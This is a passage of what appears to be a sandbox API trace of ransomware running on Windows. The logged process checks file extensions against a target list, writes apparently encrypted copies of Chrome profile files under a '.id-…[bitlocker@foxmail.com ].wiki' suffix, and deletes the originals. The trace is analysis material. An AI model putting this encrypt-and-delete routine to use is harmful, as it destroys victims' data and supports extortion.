dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.687] SetEndOfFile (hFile=0x334) returned 1 [0177.687] CloseHandle (hObject=0x334) returned 1 [0177.688] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.688] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\manifest-000001")) returned 1 [0177.688] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001") returned 120 [0177.688] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001") returned 120 [0177.688] lstrlenW (lpString=".doc") returned 4 [0177.688] lstrcmpiW (lpString1=".doc", lpString2="0001") returned -1 [0177.688] lstrlenW (lpString=".docx") returned 5 [0177.688] lstrcmpiW (lpString1=".docx", lpString2="00001") returned -1 [0177.688] lstrlenW (lpString=".pdf") returned 4 [0177.688] lstrcmpiW (lpString1=".pdf", lpString2="0001") returned -1 [0177.688] lstrlenW (lpString=".xls") returned 4 [0177.688] lstrcmpiW (lpString1=".xls", lpString2="0001") returned -1 [0177.688] lstrlenW (lpString=".xlsx") returned 5 [0177.688] lstrcmpiW (lpString1=".xlsx", lpString2="00001") returned -1 [0177.688] lstrlenW (lpString=".ppt") returned 4 [0177.688] lstrcmpiW (lpString1=".ppt", lpString2="0001") returned -1 [0177.688] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001") returned 120 [0177.688] lstrlenW (lpString=".zip") returned 4 [0177.688] lstrcmpiW (lpString1=".zip", lpString2="0001") returned -1 [0177.688] lstrlenW (lpString=".rar") returned 4 [0177.688] lstrcmpiW (lpString1=".rar", lpString2="0001") returned -1 [0177.689] lstrlenW (lpString=".bz2") returned 4 [0177.689] lstrcmpiW (lpString1=".bz2", lpString2="0001") returned -1 [0177.689] lstrlenW (lpString=".7z") returned 3 [0177.689] lstrcmpiW (lpString1=".7z", lpString2="001") returned -1 [0177.689] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001") returned 120 [0177.689] lstrlenW (lpString=".dbf") returned 4 [0177.689] lstrcmpiW (lpString1=".dbf", lpString2="0001") returned -1 [0177.689] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001") returned 120 [0177.689] lstrlenW (lpString=".1cd") returned 4 [0177.689] lstrcmpiW (lpString1=".1cd", lpString2="0001") returned -1 [0177.689] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001") returned 120 [0177.689] lstrlenW (lpString=".jpg") returned 4 [0177.689] lstrcmpiW (lpString1=".jpg", lpString2="0001") returned -1 [0177.689] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001") returned 120 [0177.689] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001") returned 120 [0177.689] lstrlenW (lpString=".doc") returned 4 [0177.689] lstrcmpiW (lpString1=".doc", lpString2="0001") returned -1 [0177.689] lstrlenW (lpString=".docx") returned 5 [0177.689] lstrcmpiW (lpString1=".docx", lpString2="00001") returned -1 [0177.689] lstrlenW (lpString=".pdf") returned 4 [0177.689] lstrcmpiW (lpString1=".pdf", lpString2="0001") returned -1 [0177.689] lstrlenW (lpString=".xls") returned 4 [0177.689] lstrcmpiW (lpString1=".xls", lpString2="0001") returned -1 [0177.689] lstrlenW (lpString=".xlsx") returned 5 [0177.689] lstrcmpiW (lpString1=".xlsx", lpString2="00001") returned -1 [0177.689] lstrlenW (lpString=".ppt") returned 4 [0177.689] lstrcmpiW (lpString1=".ppt", lpString2="0001") returned -1 [0177.689] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001") returned 120 [0177.689] lstrlenW (lpString=".zip") returned 4 [0177.689] lstrcmpiW (lpString1=".zip", lpString2="0001") returned -1 [0177.690] lstrlenW (lpString=".rar") returned 4 [0177.690] lstrcmpiW (lpString1=".rar", lpString2="0001") returned -1 [0177.690] lstrlenW (lpString=".bz2") returned 4 [0177.690] lstrcmpiW (lpString1=".bz2", lpString2="0001") returned -1 [0177.690] lstrlenW (lpString=".7z") returned 3 [0177.690] lstrcmpiW (lpString1=".7z", lpString2="001") returned -1 [0177.690] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001") returned 120 [0177.690] lstrlenW (lpString=".dbf") returned 4 [0177.690] lstrcmpiW (lpString1=".dbf", lpString2="0001") returned -1 [0177.690] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001") returned 120 [0177.690] lstrlenW (lpString=".1cd") returned 4 [0177.690] lstrcmpiW (lpString1=".1cd", lpString2="0001") returned -1 [0177.690] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001") returned 120 [0177.690] lstrlenW (lpString=".jpg") returned 4 [0177.690] lstrcmpiW (lpString1=".jpg", lpString2="0001") returned -1 [0177.690] lstrlenW (lpString="CURRENT") returned 7 [0177.690] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.691] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=16) returned 1 [0177.691] CloseHandle (hObject=0x334) returned 1 [0177.691] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current")) returned 0x2020 [0177.691] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.691] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.691] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.691] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.691] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.691] GetLastError () returned 0x0 [0177.691] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x10, lpOverlapped=0x0) returned 1 [0177.692] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x20, lpOverlapped=0x0) returned 1 [0177.693] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.693] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0177.693] SetEndOfFile (hFile=0x124) returned 1 [0177.694] CloseHandle (hObject=0x124) returned 1 [0177.694] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.694] SetEndOfFile (hFile=0x334) returned 1 [0177.694] CloseHandle (hObject=0x334) returned 1 [0177.694] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.695] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current")) returned 1 [0177.695] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT") returned 99 [0177.695] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT") returned 99 [0177.695] lstrlenW (lpString=".doc") returned 4 [0177.695] lstrcmpiW (lpString1=".doc", lpString2="RENT") returned -1 [0177.695] lstrlenW (lpString=".docx") returned 5 [0177.695] lstrcmpiW (lpString1=".docx", lpString2="RRENT") returned -1 [0177.695] lstrlenW (lpString=".pdf") returned 4 [0177.695] lstrcmpiW (lpString1=".pdf", lpString2="RENT") returned -1 [0177.695] lstrlenW (lpString=".xls") returned 4 [0177.695] lstrcmpiW (lpString1=".xls", lpString2="RENT") returned -1 [0177.695] lstrlenW (lpString=".xlsx") returned 5 [0177.695] lstrcmpiW (lpString1=".xlsx", lpString2="RRENT") returned -1 [0177.695] lstrlenW (lpString=".ppt") returned 4 [0177.695] lstrcmpiW (lpString1=".ppt", lpString2="RENT") returned -1 [0177.695] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT") returned 99 [0177.695] lstrlenW (lpString=".zip") returned 4 [0177.695] lstrcmpiW (lpString1=".zip", lpString2="RENT") returned -1 [0177.695] lstrlenW (lpString=".rar") returned 4 [0177.695] lstrcmpiW (lpString1=".rar", lpString2="RENT") returned -1 [0177.695] lstrlenW (lpString=".bz2") returned 4 [0177.695] lstrcmpiW (lpString1=".bz2", lpString2="RENT") returned -1 [0177.696] lstrlenW (lpString=".7z") returned 3 [0177.696] lstrcmpiW (lpString1=".7z", lpString2="ENT") returned -1 [0177.696] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT") returned 99 [0177.696] lstrlenW (lpString=".dbf") returned 4 [0177.696] lstrcmpiW (lpString1=".dbf", lpString2="RENT") returned -1 [0177.696] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT") returned 99 [0177.696] lstrlenW (lpString=".1cd") returned 4 [0177.696] lstrcmpiW (lpString1=".1cd", lpString2="RENT") returned -1 [0177.696] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT") returned 99 [0177.696] lstrlenW (lpString=".jpg") returned 4 [0177.696] lstrcmpiW (lpString1=".jpg", lpString2="RENT") returned -1 [0177.696] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT") returned 99 [0177.696] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT") returned 99 [0177.696] lstrlenW (lpString=".doc") returned 4 [0177.696] lstrcmpiW (lpString1=".doc", lpString2="RENT") returned -1 [0177.696] lstrlenW (lpString=".docx") returned 5 [0177.696] lstrcmpiW (lpString1=".docx", lpString2="RRENT") returned -1 [0177.696] lstrlenW (lpString=".pdf") returned 4 [0177.696] lstrcmpiW (lpString1=".pdf", lpString2="RENT") returned -1 [0177.696] lstrlenW (lpString=".xls") returned 4 [0177.696] lstrcmpiW (lpString1=".xls", lpString2="RENT") returned -1 [0177.696] lstrlenW (lpString=".xlsx") returned 5 [0177.696] lstrcmpiW (lpString1=".xlsx", lpString2="RRENT") returned -1 [0177.696] lstrlenW (lpString=".ppt") returned 4 [0177.696] lstrcmpiW (lpString1=".ppt", lpString2="RENT") returned -1 [0177.696] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT") returned 99 [0177.696] lstrlenW (lpString=".zip") returned 4 [0177.696] lstrcmpiW (lpString1=".zip", lpString2="RENT") returned -1 [0177.697] lstrlenW (lpString=".rar") returned 4 [0177.697] lstrcmpiW (lpString1=".rar", lpString2="RENT") returned -1 [0177.697] lstrlenW (lpString=".bz2") returned 4 [0177.697] lstrcmpiW (lpString1=".bz2", lpString2="RENT") returned -1 [0177.697] lstrlenW (lpString=".7z") returned 3 [0177.697] lstrcmpiW (lpString1=".7z", lpString2="ENT") returned -1 [0177.697] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT") returned 99 [0177.697] lstrlenW (lpString=".dbf") returned 4 [0177.697] lstrcmpiW (lpString1=".dbf", lpString2="RENT") returned -1 [0177.697] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT") returned 99 [0177.697] lstrlenW (lpString=".1cd") returned 4 [0177.697] lstrcmpiW (lpString1=".1cd", lpString2="RENT") returned -1 [0177.697] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT") returned 99 [0177.697] lstrlenW (lpString=".jpg") returned 4 [0177.697] lstrcmpiW (lpString1=".jpg", lpString2="RENT") returned -1 [0177.697] lstrlenW (lpString="LOCK") returned 4 [0177.697] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\lock"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.698] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=0) returned 1 [0177.698] CloseHandle (hObject=0x334) returned 1 [0177.698] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK") returned 96 [0177.698] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK") returned 96 [0177.698] lstrlenW (lpString=".doc") returned 4 [0177.698] lstrcmpiW (lpString1=".doc", lpString2="LOCK") returned -1 [0177.698] lstrlenW (lpString=".docx") returned 5 [0177.698] lstrcmpiW (lpString1=".docx", lpString2="\\LOCK") returned -1 [0177.698] lstrlenW (lpString=".pdf") returned 4 [0177.698] lstrcmpiW (lpString1=".pdf", lpString2="LOCK") returned -1 [0177.698] lstrlenW (lpString=".xls") returned 4 [0177.698] lstrcmpiW (lpString1=".xls", lpString2="LOCK") returned -1 [0177.698] lstrlenW (lpString=".xlsx") returned 5 [0177.698] lstrcmpiW (lpString1=".xlsx", lpString2="\\LOCK") returned -1 [0177.698] lstrlenW (lpString=".ppt") returned 4 [0177.698] lstrcmpiW (lpString1=".ppt", lpString2="LOCK") returned -1 [0177.698] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK") returned 96 [0177.698] lstrlenW (lpString=".zip") returned 4 [0177.698] lstrcmpiW (lpString1=".zip", lpString2="LOCK") returned -1 [0177.698] lstrlenW (lpString=".rar") returned 4 [0177.698] lstrcmpiW (lpString1=".rar", lpString2="LOCK") returned -1 [0177.698] lstrlenW (lpString=".bz2") returned 4 [0177.698] lstrcmpiW (lpString1=".bz2", lpString2="LOCK") returned -1 [0177.698] lstrlenW (lpString=".7z") returned 3 [0177.698] lstrcmpiW (lpString1=".7z", lpString2="OCK") returned -1 [0177.698] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK") returned 96 [0177.698] lstrlenW (lpString=".dbf") returned 4 [0177.699] lstrcmpiW (lpString1=".dbf", lpString2="LOCK") returned -1 [0177.699] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK") returned 96 [0177.699] lstrlenW (lpString=".1cd") returned 4 [0177.699] lstrcmpiW (lpString1=".1cd", lpString2="LOCK") returned -1 [0177.699] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK") returned 96 [0177.699] lstrlenW (lpString=".jpg") returned 4 [0177.699] lstrcmpiW (lpString1=".jpg", lpString2="LOCK") returned -1 [0177.699] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK") returned 96 [0177.699] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK") returned 96 [0177.699] lstrlenW (lpString=".doc") returned 4 [0177.699] lstrcmpiW (lpString1=".doc", lpString2="LOCK") returned -1 [0177.699] lstrlenW (lpString=".docx") returned 5 [0177.699] lstrcmpiW (lpString1=".docx", lpString2="\\LOCK") returned -1 [0177.699] lstrlenW (lpString=".pdf") returned 4 [0177.699] lstrcmpiW (lpString1=".pdf", lpString2="LOCK") returned -1 [0177.699] lstrlenW (lpString=".xls") returned 4 [0177.699] lstrcmpiW (lpString1=".xls", lpString2="LOCK") returned -1 [0177.699] lstrlenW (lpString=".xlsx") returned 5 [0177.699] lstrcmpiW (lpString1=".xlsx", lpString2="\\LOCK") returned -1 [0177.699] lstrlenW (lpString=".ppt") returned 4 [0177.699] lstrcmpiW (lpString1=".ppt", lpString2="LOCK") returned -1 [0177.699] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK") returned 96 [0177.699] lstrlenW (lpString=".zip") returned 4 [0177.699] lstrcmpiW (lpString1=".zip", lpString2="LOCK") returned -1 [0177.699] lstrlenW (lpString=".rar") returned 4 [0177.699] lstrcmpiW (lpString1=".rar", lpString2="LOCK") returned -1 [0177.699] lstrlenW (lpString=".bz2") returned 4 [0177.699] lstrcmpiW (lpString1=".bz2", lpString2="LOCK") returned -1 [0177.699] lstrlenW (lpString=".7z") returned 3 [0177.700] lstrcmpiW (lpString1=".7z", lpString2="OCK") returned -1 [0177.700] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK") returned 96 [0177.700] lstrlenW (lpString=".dbf") returned 4 [0177.700] lstrcmpiW (lpString1=".dbf", lpString2="LOCK") returned -1 [0177.700] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK") returned 96 [0177.700] lstrlenW (lpString=".1cd") returned 4 [0177.700] lstrcmpiW (lpString1=".1cd", lpString2="LOCK") returned -1 [0177.700] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK") returned 96 [0177.700] lstrlenW (lpString=".jpg") returned 4 [0177.700] lstrcmpiW (lpString1=".jpg", lpString2="LOCK") returned -1 [0177.700] lstrlenW (lpString="LOG") returned 3 [0177.700] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.701] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=154) returned 1 [0177.701] CloseHandle (hObject=0x334) returned 1 [0177.701] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log")) returned 0x2020 [0177.701] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.701] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0177.701] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.702] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.702] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.702] GetLastError () returned 0x0 [0177.702] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x9a, lpOverlapped=0x0) returned 1 [0177.703] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xa0, lpOverlapped=0x0) returned 1 [0177.704] ReadFile (in: hFile=0x334, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.704] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xda, lpOverlapped=0x0) returned 1 [0177.704] SetEndOfFile (hFile=0x124) returned 1 [0177.704] CloseHandle (hObject=0x124) returned 1 [0177.704] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.704] SetEndOfFile (hFile=0x334) returned 1 [0177.705] CloseHandle (hObject=0x334) returned 1 [0177.705] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.705] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log")) returned 1 [0177.705] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG") returned 95 [0177.705] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG") returned 95 [0177.705] lstrlenW (lpString=".doc") returned 4 [0177.705] lstrcmpiW (lpString1=".doc", lpString2="\\LOG") returned -1 [0177.705] lstrlenW (lpString=".docx") returned 5 [0177.706] lstrcmpiW (lpString1=".docx", lpString2="s\\LOG") returned -1 [0177.706] lstrlenW (lpString=".pdf") returned 4 [0177.706] lstrcmpiW (lpString1=".pdf", lpString2="\\LOG") returned -1 [0177.706] lstrlenW (lpString=".xls") returned 4 [0177.706] lstrcmpiW (lpString1=".xls", lpString2="\\LOG") returned -1 [0177.706] lstrlenW (lpString=".xlsx") returned 5 [0177.706] lstrcmpiW (lpString1=".xlsx", lpString2="s\\LOG") returned -1 [0177.706] lstrlenW 